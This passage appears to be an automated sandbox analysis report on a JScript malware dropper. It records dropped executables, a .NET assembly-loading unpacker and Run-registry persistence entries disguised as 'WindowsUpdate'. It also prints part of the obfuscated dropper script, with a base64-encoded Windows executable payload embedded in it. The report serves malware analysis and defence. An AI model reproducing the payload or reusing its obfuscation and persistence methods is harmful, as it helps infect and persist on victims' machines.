Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Service.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: kixx.js Static file information: File size 1476882 > 1048576
Source: Binary string: C:\Users\IzzyMichiel\Desktop\The Luck Music\ItselfCrypt-master\Resource\obj\Debug\Resource.pdbT3n3 `3_CorDllMainmscoree.dll source: fzP.exe, 00000002.00000002.2049097834.0000000005860000.00000004.08000000.00040000.00000000.sdmp, fzP.exe, 00000002.00000002.2048562319.00000000031F1000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000004.00000002.2158395639.0000000002B95000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000004.00000002.2158395639.0000000002BBF000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000004.00000002.2158395639.0000000002B97000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 0000000B.00000002.2241713561.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 0000000B.00000002.2241713561.0000000002DC7000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.00000000026DC000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.00000000026DE000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.000000000269A000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.0000000002716000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.0000000002655000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.000000000275E000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.0000000002657000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.000000000271D000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.000000000306C000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.0000000002FE5000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.00000000030A6000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.000000000306E000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.0000000002FE7000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.000000000302A000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.00000000030EE000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.00000000030AD000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Users\IzzyMichiel\Desktop\The Luck Music\ItselfCrypt-master\Resource\obj\Debug\Resource.pdb source: fzP.exe, 00000002.00000002.2049097834.0000000005860000.00000004.08000000.00040000.00000000.sdmp, fzP.exe, 00000002.00000002.2048562319.00000000031F1000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000004.00000002.2158395639.0000000002B95000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000004.00000002.2158395639.0000000002BBF000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000004.00000002.2158395639.0000000002B97000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 0000000B.00000002.2241713561.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 0000000B.00000002.2241713561.0000000002DC7000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.00000000026DC000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.00000000026DE000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.000000000269A000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.0000000002716000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.0000000002655000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.000000000275E000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.0000000002657000.00000004.00000800.00020000.00000000.sdmp, fzP.exe, 00000011.00000002.2322970402.000000000271D000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.000000000306C000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.0000000002FE5000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.00000000030A6000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.000000000306E000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.0000000002FE7000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.000000000302A000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.00000000030EE000.00000004.00000800.00020000.00000000.sdmp, Service.exe, 00000017.00000002.2404438858.00000000030AD000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation
barindex
JScript performs obfuscated calls to suspicious functions
Source: C:\Windows\System32\wscript.exe Anti Malware Scan Interface: WScript.Sleep(0);WScript.Sleep(1000);bCpqSdAKZxItwdPUSzKQo = '' pBZhGtWb = 168;var adxmTmATwmNPaJECJabEJHDRoAZIhUPmKagmREQCjWYWNcjgxWYfRRRSZ = 'fySNslcXbEzdRkEKZVnigELQsKKvjUsJNMlGxprkwzlXkDfmTVsweksbmBUhbgnHLqPEyyNjdDlhSngpeYcObvedUK';UvVJIQLeMun = 26;var bnVIJTayLJyVeDDEYfPLmkoeROUuVVnbmCDkHGRcEeJBVarGFLmywiBqzqqvyfcpVXibzTwSOmGHbnIrXOpKioeDBMlQPWeZCTgyrPGmOUkKbtPMhzXkpSGgseanhgD = 'rIhEHGKzHHDvOEUbHwZiQytjkNzFMpSEiQtBuoHFXzQdlXrcYDSqIxnsOyUuHEmSozMxKShToULQiQxNVXh';bCpqSdAKZxItwdPUSzKQo = bCpqSdAKZxItwdPUSzKQo + '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
.NET source code contains potential unpacker
Source: fzP.exe.0.dr, Program.cs .Net Code: MusicPlayer System.Reflection.Assembly.Load(byte[])
Source: 0.3.wscript.exe.1af3297ee40.0.raw.unpack, Program.cs .Net Code: MusicPlayer System.Reflection.Assembly.Load(byte[])
Source: 0.2.wscript.exe.1af32851b90.0.raw.unpack, Program.cs .Net Code: MusicPlayer System.Reflection.Assembly.Load(byte[])
Source: 0.3.wscript.exe.1af3297ee40.1.raw.unpack, Program.cs .Net Code: MusicPlayer System.Reflection.Assembly.Load(byte[])
Source: Service.exe.2.dr, Program.cs .Net Code: MusicPlayer System.Reflection.Assembly.Load(byte[])
Source: fzP.exe.0.dr Static PE information: section name: .text entropy: 7.923107001917767
Source: Service.exe.2.dr Static PE information: section name: .text entropy: 7.923107001917767
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\fzP.exe File created: C:\Users\user\AppData\Roaming\Service.exe Jump to dropped file
Source: C:\Windows\System32\wscript.exe File created: C:\Users\user\AppData\Local\Temp\fzP.exe Jump to dropped file

Boot Survival
barindex
Creates multiple autostart registry keys
Source: C:\Users\user\AppData\Roaming\Service.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Windows
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WindowsUpdate Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Windows Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Windows Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WindowsUpdate Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WindowsUpdate Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Windows Jump to behavior
Source: C:\Users\user\AppData\Roaming\Service.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Windows Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Windows
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Windows
Source: C:\Users\user\AppData\Roaming\Service.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Windows
Source: C:\Users\user\AppData\Roaming\Service.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Windows
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fzP.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
